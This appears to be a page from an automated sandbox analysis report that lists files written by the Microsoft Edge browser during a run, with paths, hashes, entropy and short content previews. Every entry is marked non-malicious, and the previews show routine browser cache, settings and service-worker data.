SHA-256:	63A642DF3E56F580F910BD423110D5EB7E1CC0D3E56CF3530B8A6F45C82FDA25
SHA-512:	D493B096E8AB630296DD90AFF26990C88167FCB8550EFFD117EC000CE0416F3AA202E90230D4D4787144B3A0AC6FAC067FF1BB120683C25BA0E909223F1B2A95
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188249
Entropy (8bit):	6.381913012246949
Encrypted:	false
SSDEEP:	3072:kFka1OAchzvwO4TACDL/ECMrBPGkzCDJYcHhRYOK:5vwXAOL/PsQkmDqKRK
MD5:	14B8D3BA16CA3D3E78CC882A4473914F
SHA1:	CB53E7DF2CD48F4689E8E6C7EDE445E4B1D9A4F0
SHA-256:	D7A26CA179D0317937D107F362F4A7C3B6ED832700D20A0BBECAEB7B912B0CC1
SHA-512:	8DFA716B7073896C85148A96AE5134C5A2D3AADD127EC3A40D6A4A3E324471C5F61582917BCBB2B1C5CC4B4AAAAFF607FC880D78DFC9458C22C1CE06F2B29F98
Malicious:	false
Preview:	0\r..m..........rSG.....0...../...............R..I....yT.........,T.8..`,.....L`.....,T...`......L`......Rcf.......exports...Rc..p....module....Rc.O~.....define....Rbz.&-....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m....b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....A..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....V...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:uFi0Xl/lKtn/lxE0tllStXx+:uFtKW00e
MD5:	7AB52CA5F9E28AD859361D31A15D5C22
SHA1:	FD19DF7748F2B99D37CE2A62E6A616EEA66A36E1
SHA-256:	6C6D8E86DB663D1B2FA09F1B00687BD88376878AABC6D49912DED56D590C30EB
SHA-512:	B0F8C917C6398DBE44E82E04438A155AF746AE488F9EE06F1EBC11AA199686F25588015B2C452D6330B21C52CD0C5C7DA9D075DD003AE831399F7172B2A1319A
Malicious:	false
Preview:	@......oy retne.........................X....,.................~.d./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:uFi0Xl/lKtn/lxE0tllStXx+:uFtKW00e
MD5:	7AB52CA5F9E28AD859361D31A15D5C22
SHA1:	FD19DF7748F2B99D37CE2A62E6A616EEA66A36E1
SHA-256:	6C6D8E86DB663D1B2FA09F1B00687BD88376878AABC6D49912DED56D590C30EB
SHA-512:	B0F8C917C6398DBE44E82E04438A155AF746AE488F9EE06F1EBC11AA199686F25588015B2C452D6330B21C52CD0C5C7DA9D075DD003AE831399F7172B2A1319A
Malicious:	false
Preview:	@......oy retne.........................X....,.................~.d./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF40db8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:uFi0Xl/lKtn/lxE0tllStXx+:uFtKW00e
MD5:	7AB52CA5F9E28AD859361D31A15D5C22
SHA1:	FD19DF7748F2B99D37CE2A62E6A616EEA66A36E1
SHA-256:	6C6D8E86DB663D1B2FA09F1B00687BD88376878AABC6D49912DED56D590C30EB
SHA-512:	B0F8C917C6398DBE44E82E04438A155AF746AE488F9EE06F1EBC11AA199686F25588015B2C452D6330B21C52CD0C5C7DA9D075DD003AE831399F7172B2A1319A
Malicious:	false
Preview:	@......oy retne.........................X....,.................~.d./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\413c4199-0d4d-49c3-a7f5-687a3b5aa545.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\6176cb3f-1b5c-4ff8-be87-584a74f5ca16.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\6f69a8b8-8120-4dad-b93b-4d2c9a35b165.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\71ae9b6f-b513-444f-a1bd-12aa502e893f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3b4ab.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF46cb0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries~RF493d0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\b7402d5b-ab77-4db6-8c3a-3af255be26d5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\bf4e3c87-91a9-43c2-821a-d997e9a98116.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c5c9012c-053f-461a-84b1-59fedc5c1bed.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38626
Entropy (8bit):	5.554888610540389
Encrypted:	false
SSDEEP:	768:NteHYpWQr7pLGLpTJW5wLLf4YB8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPwLIwNc9w:Nw4pH9cpTJWaLLf5Bu1jadxCGjvdeVVy
MD5:	8AAA2F83E56D30984D8571D5BFA25FAB
SHA1:	15D3E58996957833CE2CF3A1930C4790DDB88AAB
SHA-256:	2E43B6202CF540021CDB46B5FF617D5DE7A47796E20611E7A890781BB812FE9A
SHA-512:	53C3EBBCCA38F3C22B2DD574F2DF351779D105E8880B50F616CBDAFD4F821874DA9F983391335CEB609A453154A76F2A2CD5A481614BD369ADE9C8E0BE018A78
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375991304379408","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375991304379408","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d5578263-0b1a-403e-8cf3-557f09638e5c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40470
Entropy (8bit):	5.561245199827662
Encrypted:	false
SSDEEP:	768:NteHYpWQr7pLGLpTJW5wLLf4jB8F1+UoAYDCx9Tuqh0VfUC9xbog/OVP6iELIwNt:Nw4pH9cpTJWaLLfcBu1jaziExCGjvdIs
MD5:	D6C818E4D18B121599E814F51D003E09
SHA1:	7EF2F30115BCEF4343275FC757D49EC186638714
SHA-256:	C86B4CF87C6855010624C633E3FDFEFF16DC613AB0474D724E1BFA8058AE2EB1
SHA-512:	8549DF925152B7EFEA9A3AE3113BB11AF377C6085B105BA6AC2850C8F7E58CE5830AE10BB334EFDC3600229D83D07C0376291B2CC8BA576400A211B5E9BCE199
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375991304379408","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375991304379408","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089746843903061
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWVdi1zNtPMCkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynjZkzItSmd6qE7lFoC
MD5:	A4135151CE50DDFAF2D19DEAE0BC6A59
SHA1:	31FC053D933F82049C6FEDCF8882A6346E03B8F9
SHA-256:	38106EB197FAA203F596AA3F03D6E5081DB9186580F66A259E20D2B9F8701204
SHA-512:	AC5BA1AB736613AC56009DA85891E0330358F2DE6314EC7275C0D01B68DEBD888EE2F19905B75757843230A8D6F6DE5AC5FF76F9323E98D157DC8E007F03D00A
Malicious:	false
